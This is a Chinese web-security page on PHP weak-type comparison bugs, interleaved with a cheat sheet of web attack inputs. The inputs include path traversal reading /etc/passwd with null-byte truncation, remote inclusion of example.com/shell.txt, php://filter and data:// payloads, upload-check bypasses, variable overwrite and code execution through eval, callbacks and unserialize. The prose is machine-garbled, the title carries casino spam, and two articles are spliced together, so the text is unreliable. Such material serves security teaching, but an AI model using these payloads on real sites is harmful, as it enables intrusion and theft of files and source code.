奥门新浦京官方网站php比较操作符安全问题

方今做了南京邮政和邮电通讯高校互联网进攻和防守平台上面包车型大巴题目,写了三个writeup之后,还应该有须要计算一下。由于做的主题材料都以web类型的,全数的主题材料都以利用PHP来写的,所以众多问题并从未观测到古板的如SQL注入,XSS的类型的漏洞,比非常多都是PHP本人语法的标题。鉴于方今PHP是世界上最佳的言语,PHP本人的主题材料也得以算作是web安全的三个地点。在PHP中的天性正是弱类型,以致内置函数对于传播参数的麻痹概略管理。本篇随笔首要就是记录自个儿在做进攻和防守平台方面碰到的PHP的函数中存在的主题素材,以至PHP的弱类型所推动的标题。

广大的产生文件富含的函数有:

详细解释php比较操作符的安全难题

PHP弱类型简介

在PHP中,能够开展一下的操作。

$param = 1;
$param = array();
$param = "stringg";

弱类型的言语对变量的数据类型未有范围,你能够在别的市时候将变量赋值给自由的其余连串的变量,同期变量也足以调换来任性地别的品类的数码。

PHP:include()“include_once()“require()“require_once()
fopen() readfile() 等

php的相比较操作符有==(等于)松散比较,===(完全等于)严酷相比,那在那之中就能够引进相当多有趣的标题,本文给我们安详严整php相比操作符的晋城难点,对php操作符相关资料感兴趣的朋友齐声学习吧

类型转换难点

类型调换是心余力绌防止的主题素材。譬如须求将GET也许是POST的参数转变为int类型,或然是七个变量不相配的时候,PHP会自动地开展变量转变。然而PHP是一个弱类型的语言,引致在進展类型转换的时候会设有比非常多想不到的标题。

JSP / Servlet:ava.io.File()“java.io.FileReader()等

php的比较操作符有==(等于)松散相比,===(完全等于)严酷比较,那中间就能引进相当多风趣的难点。

正如操作符

ASP:includefile“includevirtual 等

在松弛相比较的时候,php会将她们的连串统生机勃勃,比如说字符到数字,非bool类型调换来bool类型,为了防止意外的运作效果,应该接纳严俊比较。如下是php
manual上的比较运算符表:

类型调换

在$a==$b的可比中

$a=null;$b=flase ; //true
$a='';$b=null;      //true

这么的例子还会有繁多,这种相比较都以相等。

动用相比操作符的时候也设有类型转换的难点,如下:

0=='0'        //true
0 == 'abcdefg'  //true
0 === 'abcdefg' //false
1 == '1abcdef'  //true

当不一致种类的变量实行相比较的时候就能存在变量调换的标题,在转变之后就有超大大概会设有难点。

当 PHP 富含叁个文件时,会将该公文作为 PHP
代码奉行,而不会留意文件时怎么项目

例子    名称    结果

Hash比较

除却上述的这种方法之外在进行hash相比较的时候也会设有难点。如下:

"0e132456789"=="0e7124511451155" //true
"0e123456abc"=="0e1dddada"  //false
"0e1abc"=="0"     //true

在拓宽相比运算时,假如遇上了0ed+这种字符串,就能够将这种字符串深入解析为科学计数法。所以地方例子中2个数的值都以0由此就也正是了。假设不满意0ed+这种形式就不会等于。这一个标题在进攻和防守平台南的md5
collision
就有考到。

<?php

$a == $b  等于  TRUE,假设类型转变后 $a 等于 $b。

十四进制调换

还留存大器晚成种十三进制余字符串实行相比较运算时的难题。例子如下:

"0x1e240"=="123456"       //true
"0x1e240"==123456       //true
"0x1e240"=="1e240"      //false

当当中的三个字符串是0x开首的时候,PHP会将此字符串拆解分析成为十进制然后再进行相比,0×1240解析成为十进制正是123456,所以与int类型和string类型的123456相比都是相等。进攻和防守平台南的起名字真难纵使考察的这一个特点。

$file = $_GET[‘file’];

$a === $b  全等  TRUE,假如 $a 等于 $b,並且它们的等级次序也同等。

类型调换

广大的改动重要就是int转变为string,string调换为int。

int转string:

$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);

string转int:intval()函数。

对于这些函数,能够先看2个例证。

var_dump(intval('2')) //2
var_dump(intval('3abcd'))   //3
var_dump(intval('abcd'))    //0

表达intval(State of Qatar转变的时候,会将从字符串的伊始开展转变知道遭受三个非数字的字符。尽管现身无法调换的字符串,intval(State of Qatar不会报错而是重返0。

奥门新浦京官方网站 ,intval(卡塔尔的这种特点在进攻和防守平台北的MYSQL那道标题中就有考到。

同时,程序员在编制程序的时候也不该利用如下的这段代码:

if(intval($a)>1000) {
    mysql_query("select * from news where id=".$a)
}

本条时候$a的值有非常的大可能率是1002 union…..

if (file_exists(‘/home/wwwrun/’.$file.’.php’)) {

$a != $b  不等  TRUE,假如类型调换后 $a 不对等 $b。

放置函数的参数的松散性

松开函数的松散性说的是,调用函数时给函数字传送递函数不可能选用的参数类型。解释起来有一点猛烈,依旧直接通超过实际际的例证来证实难点,上面会主要介绍几个这种函数。

  include ‘/home/wwwrun/’.$file.’.php’;

$a <> $b  不等  TRUE,假诺类型转变后 $a 不等于 $b。

md5()

$array1[] = array(
    "foo" => "bar",
    "bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==var_dump($array2));  //true

PHP手册中的md5(卡塔尔函数的描述是string md5 ( string $str [, bool $raw_output = false ] ),md5(卡塔尔中的需如若叁个string类型的参数。可是当你传递一个array时,md5(卡塔尔不会报错,知识会不可能精确地求出array的md5值,那样就可引以致恣意2个array的md5值都会等于。那个md5(卡塔尔国的性状在攻防平新北的bypass
again
雷同有考到。

}

$a !== $b  不全等  TRUE,借使 $a 不等于 $b,恐怕它们的种类不一样。

strcmp()

strcmp(卡塔尔国函数在PHP官方手册中的描述是int strcmp ( string $str1 , string $str2 ),要求给strcmp(卡塔尔(قطر‎传递2个string类型的参数。假若str1小于str2,重临-1,相等重回0,不然重回1。strcmp函数相比较字符串的面目是将四个变量调换为ascii,然后开展减法运算,然后依据运算结果来决定重临值。

要是传入给出strcmp(卡塔尔的参数是数字呢?

$array=[1,2,3];
var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。

strcmp这种特性在进攻和防守平桃园的pass check有考到。

?>

$a < $b  小与  TRUE,假使 $a 严酷小于 $b。

switch()

若是switch是数字类型的case的判准时,switch会将里面包车型地铁参数转变为int类型。如下:

$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
    echo "i is less than 3 but not negative";
    break;
case 3:
    echo "i is 3";
}

其不常候程序输出的是i is less than 3 but not negative,是由于switch(State of Qatar函数将$i进行了类型转变,调换结果为2。

上述代码存在当麻芋果件包蕴,可用 %00 截断的点子读取 /etc/passwd 文件内容。

$a > $b  大于  TRUE,如果 $a 严苛大于 $b。

in_array()

在PHP手册中,in_array(卡塔尔国函数的演说是bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),如若strict参数没有提供,那么in_array就可以利用松散相比来推断$needle是不是在$haystack中。当strince的值为true时,in_array(卡塔尔(قطر‎会比较needls的品类和haystack中的类型是还是不是朝气蓬勃律。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array));  //true
var_dump(in_array('1bc', $array));  //true

能够看来地点的气象重回的都以true,因为’abc’会转变为0,’1bc’转换为1。

array_search()与in_array(卡塔尔国也是同豆蔻梢头的难点。

%00 截断

$a <= $b  小于等于  TRUE,假使 $a 小于或然等于 $b。

file=../../../../../../../../../etc/passwd%00

$a >= $b  大于等于  TRUE,假诺 $a 大于大概等于 $b。

需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效。

0x01 安全主题素材

路子长度截断

1 hash可比欠缺

file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

php在管理hash字符串的时候会用到!=,==来扩充hash比较,要是hash值以0e起头,前边都以数字,再与数字比较,就能够被解说成0*10^n仍然是0,就能被剖断相等,绕过登入环节。

Linux 必要文件名长于 4096,Windows 必要专长 256。

root@kali:~/tool#
php -r ‘var_dump(“00e0345” ==
“0”);var_dump(“0e123456789″==”0”);var_dump(“0e1234abc”==”0”);’

点号截断

bool(true)

file=../../../../../../../../../boot.ini/………[…]…………

bool(true)

只适用 Windows,点号供给长于 256。

bool(false)

长途文件包涵,Remote File Inclusion,CRUISERFI。

当全部都以数字的时候,宽松的可比会执行尽力格局,如0e12345678会被分解成0*10^12345678,除了e不全部皆以数字的时候就不会等于,那能从var_dump(“0e1234abc”==”0″卡塔尔能够看出来。

<?php

2 bool 欺骗

if ($route == “share”) {

当存在json_decode和unserialize的时候,部分结构会被演讲成bool类型,也会促成期骗。json_decode示例代码:

  require_once $basePath . “/action/m_share.php”;

$json_str='{“user”:true,”pass”:true}’;

} elseif ($route == “sharelink”) {

$data= json_decode($json_str,true);

  require_once $basePath . “/action/m_sharelink.php”;

if($data[‘user’] ==’admin’&&$data[‘pass’]==’secirity’)

}

{

组织变量 basePath 的值。

print_r(‘logined in as bool’.”n”);

/?basePath=

}

终极的代码施行了

运作结果:

require_once “”;

root@kali:/var/www#
php /root/php/hash.php

问号后的有个别被演讲为 UPRADOL 的 querystring,那也是意气风发种「截断」。

logined in as bool

平淡无奇长途文件包罗

unserialize示例代码:

file=[http|https|ftp]://example.com/shell.txt

$unserialize_str=’a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}’;

需要 allow_url_fopen=On 并且 allow_url_include=On。

$data_unserialize= unserialize($unserialize_str);

利用 PHP 流 input

if($data_unserialize[‘user’]
==’admin’&&$data_unserialize[‘pass’]==’secirity’)

file=php://input

{

需要 allow_url_include=On。

print_r(‘logined in unserialize’.”n”);

利用 PHP 流 filter

}

file=php://filter/convert.base64-encode/resource=index.php

运转结果如下:

需要 allow_url_include=On。

root@kali:/var/www#
php /root/php/hash.php

利用 data URIs

logined in unserialize

file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

3 数字转变诈骗

需要 allow_url_include=On。

$user_id= ($_POST[‘user_id’]);

利用XSS 执行

if($user_id==”1″)

file=

{

需要
allow_url_fopen=On,allow_url_include=On并且防火墙只怕白名单不许访谈外网时,先在同站点找一个XSS 漏洞,包涵那些页面,就可以注入恶意代码了。

$user_id= (int)($user_id);

文本上传

#$user_id=intval($user_id);

文本上传漏洞是指客商上传了一个可举行脚本文件,并由此此文件拿到了试行服器端命令的手艺。在好多情形下,文件上传漏洞日常是指上传
web 脚本能够棉被和衣服务器深入解析的标题,也正是所谓的 webshell
难点。达成那生机勃勃抨击必要如此多少个典型化,一是上传的文件能够那 web
容器实施,其次客商能从 web
上访问那些文件,最终,假诺上传的文本被金昌检查、格式化、图片压缩等职能转移了内容,则大概导致攻克服北。

$qry=”SELECT * FROM `users` WHERE user_id=’$user_id’;”;

绕过上传检查

}

前端检查扩张名

$result= mysql_query($qry)ordie(‘

抓包绕过就能够。

'. mysql_error() .'

Content-Type 检查测量检验文件类型

‘);

抓包改进 Content-Type 类型,使其切合白名单法则。

print_r(mysql_fetch_row($result));

服务端加多后缀

将user_id=0.999999999999999999999发送出去获得结果如下:

尝试 %00 截断。

Array

服务端扩张名检查评定

(

运用拆解深入分析漏洞。

[0] => 0

Apache 解析

[1] => lxx’

phpshell.php.rar.rar.rar.rar 因为 Apache 不认得 .rar
那几个文件类型,所以会直接遍历后缀到 .php,然后以为那是一个 PHP 文件。

[2] =>

IIS 解析

[3] =>

IIS 6 下当文件名称叫 abc.asp;xx.jpg 时,会将其分析为 abc.asp。

[4] =>

PHP CGI 路径深入分析

[5] =>

当访问 时,会将 test.jpg 当作PHP 拆解剖判,notexist.php是不设有的公文。这时候 Nginx 的布局如下

)

location ~ .php$ {  root html;  fastcgi_pass 127.0.0.1:9000; 
fastcgi_index index.php;  fastcgi_param SCRIPT_FILENAME
/scripts$fastcgi_script_name;  include fastcgi_param;}

本来是要查询user_id的多少,结果却是user_id=0的数量。int和intval在退换数字的时候都以就低的,再如下代码:

其余艺术

if($_POST[‘uid’] != 1) {

后缀大小写、双写、特殊后缀如 php5 等,校勘包内容的深浅写过 WAF 等。

$res=$db->query(“SELECT * FROM user WHERE uid=%d”,
(int)$_POST[‘uid’]);

全局变量覆盖

mail(…);

变量就算未被初阶化,且能够用户所主宰,那么很恐怕会招致安全难点。

}else{

register_globals=ON

die(“Cannot reset password of admin”);

实例

}

<?php

意气风发经传入1.1,就绕过了$_POST[‘uid’]!=1的论断,就能够对uid=1的客户进行操作了。别的intval还会有个着力方式,就是退换全数数字直到遇见非数字停止,假如利用:

echo “Register_globals: ” . (int)ini_get(“register_globals”) .
“<br/>”;

if(intval($qq) ===’123456′)

if ($auth) {

{

  echo “private!”;

$db->query(“select * from user where qq = $qq”)

}

}

?>

攻击者传入123456 union select version()举行攻击。

当 register_globals=ON 时,提交
test.php?auth=1,auth变量将自动获取赋值。

4 PHP5.4.4 特殊情形

extract(卡塔尔国 变量覆盖

这么些版本的php的三个改换招致两个数字型字符溢出招致相比相等

extract(卡塔尔 函数能够将变量从数组导入到当前的符号表,其定义为

$ php -r ‘var_dump(“61529519452809720693702583126814” ==
“61529519452809720000000000000000”);’

int extract ( array $var_array [, int $extract_type [, string
$prefix ]] )

bool(true)

里头,第三个参数内定函数将变量导入符号表时的作为,最广大的几个值是
EXTLX570_OVERWRITE 和 EXTR_SKIP。

3 题外话:

当值为 EXTR_OVE卡宴W科雷傲ITE
时,在将变量导入符号表的进度中,假若变量名产生冲突,则覆盖全数变量;值为
EXT陆风X8_SKIP 则意味跳过不掩没。若首个参数未钦定,则在暗许情形下使用
EXTENVISION_OVERWRITE。

同意气风发有相近难点的还会有php strcmp函数,manual上是那样解释的,int strcmp (
string $str1 ,

<?php

string $str2

$auth = “0”;

卡塔尔,str1是首先个字符串,str2是第叁个字符串,纵然str1小于str2,再次回到<0,假如str1>str2,再次来到>0,两个对等重回0,要是str2为多个array呢?

extract($_GET);

$_GET[‘key’] =array();

if ($auth == 1) {

$key=”llocdpocuzion5dcp2bindhspiccy”;

  echo “private!”;

$flag=strcmp($key,$_GET[‘key’]);

} else {

if($flag== 0) {

  echo “public!”;

print”Welcome!”;

}

}else{

?>

print”Bad key!”;

当 extract(卡塔尔 函数从客商能够调控的数组中程导弹出变量时,或许发生变量覆盖。

}

import_request_variables 变量覆盖

运维结果:

bool import_request_variables (string $types [, string $prefix])

root@kali:~/php#
php strcmp.php

import_request_variables 将 GET、POST、Cookies
中的变量导入到全局,使用那几个函数只用简短地钦赐项目就能够。

PHP Warning:  strcmp() expects parameter 2 to be string, array given in
/root/php/strcmp.php on line 13

<?php

Welcome!

$auth = “0”;

相比各系列型

import_request_variables(“G”);

运算数 1 类型运算数 1 类型结果

if ($auth == 1) {

null或stringstring将NULL改动为
“”,实行数字或词汇相比

  echo “private!”;

bool或null此外别的类型转换为bool,FALSE<TRUE

} else {

objectobject内置类能够定义本身的可比,差别类不能够对比,形似类和数组同样方法相比属性(PHP
4 中),PHP 5
有其和好的说明

  echo “public!”;

string,resource或numberstring,resource或number将字符串和能源调换到数字,按日常数学相比较

}

arrayarray有着超少成员的数组十分小,要是运算数
1 中的键官样文章于运算数 2 中则数组无法相比,不然挨个值比较(见下例)

?>

array此外其余品类array接连几日来更加大

import_request_variables(“G”卡塔尔 钦点导入 GET 乞请中的变量,提交
test.php?auth=1 现身变量覆盖。

object任何别的项目object连年越来越大

parse_str(State of Qatar 变量覆盖

void parse_str ( string $str [, array &$arr ])

parse_str(卡塔尔国 函数平时用于拆解解析 UPRADOL 中的
querystring,不过当参数值可以被客户调节时,很可能变成变量覆盖。

// var.php?var=new  变量覆盖$var = [color=var(–theme-color,
#42b983)]”init”;parse_str($_SERVER[[color=var(–theme-color,
#42b983)]”QUERY_STRING”]);print $var;

与 parse_str(卡塔尔 相符的函数还大概有 mb_parse_str()。

命令实施直接实施代码

PHP 中有无数得以一直实行代码的函数。

eval();assert();system();exec();shell_exec();passthru();escapeshellcmd();pcntl_exec();等

preg_replace(卡塔尔(قطر‎ 代码实行

preg_replace(卡塔尔 的首先个参数即使存在 /e 形式修饰符,则允许代码实施。

<?php

$var = “<tag>phpinfo()</tag>”;

preg_replace(“/<tag>(.*?)</tag>/e”, “addslashes(\1)”,
$var);

?>

若是未有 /e 修饰符,能够尝尝 %00 截断。

动态函数推行

客商自定义的函数能够产生代码试行。

<?php

$dyn_func = $_GET[“dyn_func”];

$argument = $_GET[“argument”];

$dyn_func($argument);

?>

反引号命令实行

<?php

echo `ls -al`;

?>

Curly Syntax

PHP 的 Curly Syntax
也能引致代码施行,它将实行花括号间的代码,并将结果替换回去。

<?php

$var = “aaabbbccc ${`ls`}”;

?>

<?php

$foobar = “phpinfo”;

${“foobar”}();

?>

回调函数

无数函数都得以实践回调函数,当回调函数顾客可控时,将产生代码实施。

<?php

$evil_callback = $_GET[“callback”];

$some_array = array(0,1,2,3);

$new_array = array_map($evil_callback, $some_array);

?>

攻击 payload

[AppleScript] 纯文本查看 复制代码

反系列化

若果 unserialize(卡塔尔 在实施时定义了 __destruct() 或 __wakeup()函数,则有一点都不小希望产生代码施行。

[PHP] 纯文本查看 复制代码

?

1

2

3

4

5

6

7

8

9

<?php

class Example {

  var $var = “”;

  function __destruct() {

    eval($this->$var);

  }

}

unserialize($_GET[“saved_code”]);

?>

攻击 payload

[AppleScript] 纯文本查看 复制代码

?

1

PHP 特性

数组

[PHP] 纯文本查看 复制代码

?

1

2

3

4

5

<?php

$var = 1;

$var = array();

$var = “string”;

?>

php 不会严苛验证流传的变量类型,也可以将变量自由的转移类型。

诸如在 $a == $b 的可比中

[PHP] 纯文本查看 复制代码

?

1

2

3

4

$a = null;

$b = false; //为真

$a = ”;

$b = 0; //相近为真

而是,PHP
内核的开采者原来是想让程序猿借由这种没有要求注明的体系,尤其赶快的付出,所以在大致全体内置函数以至宗旨结构中应用了成都百货上千麻木不仁的相比较和转变,幸免程序中的变量因为程序猿的不正规而往往的报错,可是那却带来了安全难题。

[PHP] 纯文本查看 复制代码

?

1

2

3

4

0==’0′ //true

0 == ‘abcdefg’ //true

0 === ‘abcdefg’ //false

1 == ‘1abcdef’ //true

魔法Hash

[PHP] 纯文本查看 复制代码

?

1

2

3

“0e132456789″==”0e7124511451155” //true

“0e123456abc”==”0e1dddada” //false

“0e1abc”==”0”  //true

在实行比较运算时,假使遇上了0ed+这种字符串,就能够将这种字符串分析为科学计数法。所以地方例子中
2 个数的值都以 0 由此就等于了。假如不满足0ed+这种方式就不会等于。

十八进制调换

[PHP] 纯文本查看 复制代码

?

1

2

3

“0x1e240″==”123456” //true

“0x1e240″==123456 //true

“0x1e240″==”1e240” //false

当个中的三个字符串是 0x 开首的时候,PHP
会将此字符串深入分析成为十进制然后再开展比较,0x1240深入分析成为十进制正是123456,所以与 int 类型和 string 类型的 123456 比较都以相当。

类型调换

科学普及的转变主要正是 int 调换为 string,string转变为 int。

int 转 string:

[PHP] 纯文本查看 复制代码

?

1

2

3

$var = 5;

方式1:$item = (string)$var;

方式2:$item = strval($var);

string 转 int:intval()函数。

对于那一个函数,能够先看 2 个例证。

[PHP] 纯文本查看 复制代码

?

1

2

3

var_dump(intval(‘2’)) //2

var_dump(intval(‘3abcd’)) //3

var_dump(intval(‘abcd’)) //0

证实intval(State of Qatar转变的时候,会将从字符串的上马张开转移知道碰着几个非数字的字符。固然现身无法转变的字符串,intval(卡塔尔不会报错而是返回0。

与此同一时间,程序员在编制程序的时候也不应有利用如下的这段代码:

[PHP] 纯文本查看 复制代码

?

1

2

3

if(intval($a)>1000) {

mysql_query(“select * from news where id=”.$a)

}

以此时 $a 的值有极大可能是 1002 union。

嵌入函数的参数的松散性

放到函数的松散性说的是,调用函数时给函数字传送递函数不能采用的参数类型。解释起来有一点点生硬,照旧平昔通超过实际际的例证来申明难点,上面会主要介绍多少个这种函数。

md5()

[PHP] 纯文本查看 复制代码

?

1

2

3

4

5

6

$array1[] = array(

“foo” => “bar”,

“bar” => “foo”,

);

$array2 = array(“foo”, “bar”, “hello”, “world”);

var_dump(md5($array1)==var_dump($array2)); //true

PHP 手册中的 md5()函数的描述是 string md5 ( string $str [, bool
$raw_output = false ] 卡塔尔(قطر‎,md5(卡塔尔(قطر‎中的需倘若二个 string
类型的参数。可是当你传递三个 array
时,md5(State of Qatar不会报错,只是会不可能准确地求出 array 的 md5
值,那样就能够产生恣意 2 个 array 的 md5 值都会等于。

strcmp()

strcmp(State of Qatar函数在 PHP 官方手册中的描述是 intstrcmp ( string $str1 , string
$str2 卡塔尔国,必要给 strcmp(State of Qatar 传递 2 个 string 类型的参数。假设 str1 小于
str2,重返-1,相等重回 0,不然再次来到1。strcmp(卡塔尔国函数相比字符串的真相是将五个变量转换为
ASCII,然后开展减法运算,然后依照运算结果来决定再次来到值。

意气风发经传入给出strcmp(卡塔尔(قطر‎的参数是数字呢?

[PHP] 纯文本查看 复制代码

?

1

$array=[1,2,3];[/align]var_dump(strcmp($array,’123’卡塔尔(قطر‎卡塔尔;
//null,在某种意义上null也正是也就是false。

switch()

假设switch(卡塔尔国是数字类型的 case 的论断时,switch 会将在那之中的参数转变为 int
类型。如下:

[PHP] 纯文本查看 复制代码

?

01

02

03

04

05

06

07

08

09

10

$i =”2abc”;

switch ($i) {

case 0:

case 1:

case 2:

echo “i is less than 3 but not negative”;

break;

case 3:

echo “i is 3”;

}

以这个时候候程序输出的是i is less than 3 but not
negative,是出于switch(卡塔尔函数将$i实行了类型调换,调换结果为 2。

in_array()

在 PHP 手册中,in_array(卡塔尔(قطر‎函数的表明是bool in_array ( mixed $needle ,
array $haystack [, bool $strict = FALSE ] State of Qatar,倘若strict参数未有提供,那么in_array就能选拔松散相比较来判别$needle是或不是在$haystack中。当
strince 的值为 true 时,in_array(卡塔尔国会相比较 needls 的种类和 haystack
中的类型是还是不是生机勃勃致。

[PHP] 纯文本查看 复制代码

?

1

2

3

$array=[0,1,2,’3′];

var_dump(in_array(‘abc’, $array)); //true

var_dump(in_array(‘1bc’, $array)); //true

能够看来上边的事态再次回到的都以 true,因为’abc’会转换为 0,’1bc’转变为 1。

array_search()与in_array(卡塔尔(قطر‎也是平等的标题。

检索源代码备份

hg 源码走漏

hg init 时会产生 .hg 文件。

利用工具 dvcs-ripper

Git 源码走漏

.git
目录内有代码的更换记录等文件,如若布置时该目录下的文书可被访问,恐怕会被选择来回复源代码。

/.git/.git/HEAD/.git/index/.git/config/.git/description

GitHack

python GitHack.py

.DS_Store 文件败露

Mac OS 中会富含有 .DS_Store 文件,包涵文件名等音讯。

选取工具 ds_store_exp

[Bash shell] 纯文本查看 复制代码

?

1

python ds_store_exp.py
[url]]

[Bash shell] 纯文本查看 复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

hd.zj.qq.com/

└── themes

    └── galaxyw

        ├──app

        │  └── css

        │      └── style.min.css

        ├── cityData.min.js

        ├── images

        │  └── img

        │      ├── bg-hd.png

        │      ├── bg-item-activity.png

        │      ├── bg-masker-pop.png

        │      ├── btn-bm.png

        │      ├── btn-login-qq.png

        │      ├── btn-login-wx.png

        │      ├── ico-add-pic.png

        │      ├── ico-address.png

        │      ├── ico-bm.png

        │      ├── ico-duration-time.png

        │      ├── ico-pop-close.png

        │      ├── ico-right-top-delete.png

        │      ├── page-login-hd.png

        │      ├── pic-masker.png

        │      └── ticket-selected.png

        └── member

            ├── assets

            │  ├── css

            │  │  ├── ace-reset.css

            │  │  └── antd.css

            │  └── lib

            │      ├── cityData.min.js

            │      └── ueditor

            │          ├── index.html

            │          ├── lang

            │          │  └── zh-cn

            │          │      ├── images

            │          │      │  ├── copy.png

            │          │      │  ├── localimage.png

            │          │      │  ├── music.png

            │          │      │  └── upload.png

            │          │      └── zh-cn.js

            │          ├── php

            │          │  ├── action_crawler.php

            │          │  ├── action_list.php

            │          │  ├── action_upload.php

            │          │  ├── config.json

            │          │  ├── controller.php

            │          │  └── Uploader.class.php

            │          ├── ueditor.all.js

            │          ├── ueditor.all.min.js

            │          ├── ueditor.config.js

            │          ├── ueditor.parse.js

            │          └── ueditor.parse.min.js

            └── static

                ├──css

                │  └── page.css

                ├──img

                │├──bg-table-title.png

                │├──bg-tab-say.png

                │  ├── ico-black-disabled.png

                │  ├── ico-black-enabled.png

                │  ├── ico-coorption-person.png

                │  ├── ico-miss-person.png

                │  ├── ico-mr-person.png

                │  ├── ico-white-disabled.png

                │  └── ico-white-enabled.png

                └── scripts

                    ├──js

                    └──lib

                        └── jquery.min.js

21 directories, 48 files

网址备份文件

领队备份网址文件后错误地将备份放在 Web 目录下。

普及的后缀名:

.rar.zip.7z.tar.tar.gz.bak.txt

SVN 泄露

敏感文件:

/.svn/.svn/wc.db/.svn/entries

dvcs-ripper

[Perl] 纯文本查看 复制代码

?

1

perl rip-svn.pl -v -u [url]]

Seay – SVN

网站自行检索。

WEB-INF / web.xml 泄露

WEB-INF 是 Java Web 应用的安全目录,web.xml 中有文件的照耀关系。

WEB-INF 首要含有一下文书或目录:

/WEB-INF/web.xml:Web 应用程序配置文件,描述了 servlet
和任何的选用组件配置及命名法则。

/WEB-INF/classes/:含了站点全部用的 class 文件,蕴涵 servlet class 和非
servlet class,他们无法蕴涵在。jar 文件中。

/WEB-INF/lib/:贮存 web 应用须求的各样 JAXC90文件,放置仅在这里个利用中必要使用的 jar 文件,如数据库驱动 jar 文件。

/WEB-INF/src/:源码目录,遵照包名布局放置各种 java 文件。

/WEB-INF/database.properties:数据库配置文件。

因而找到 web.xml 文件,估量 class 文件的渠道,最终直接 class
文件,在经过反编写翻译 class 文件,获得网站源码。 日常景色,jsp
引擎暗中同意都以禁绝访谈 WEB-INF 目录的,Nginx 合作 汤姆cat
做平衡负载或集群等状态时,难点原因实在相当粗略,Nginx
不会去考虑布署其余连串引擎(Nginx 不是 jsp
引擎)引致的平安难题而引进到自家的平安专门的职业中来(那样耦合性太高了),改良Nginx 配置文件禁绝访谈 WEB-INF 目录就好了:

location ~ ^/WEB-INF/* { deny all; } # 或然return 404; 也许别的!

CVS 泄露

重临根信息 再次来到全数文件的构造

光复源码

bk clone dir

发表评论

电子邮件地址不会被公开。 必填项已用*标注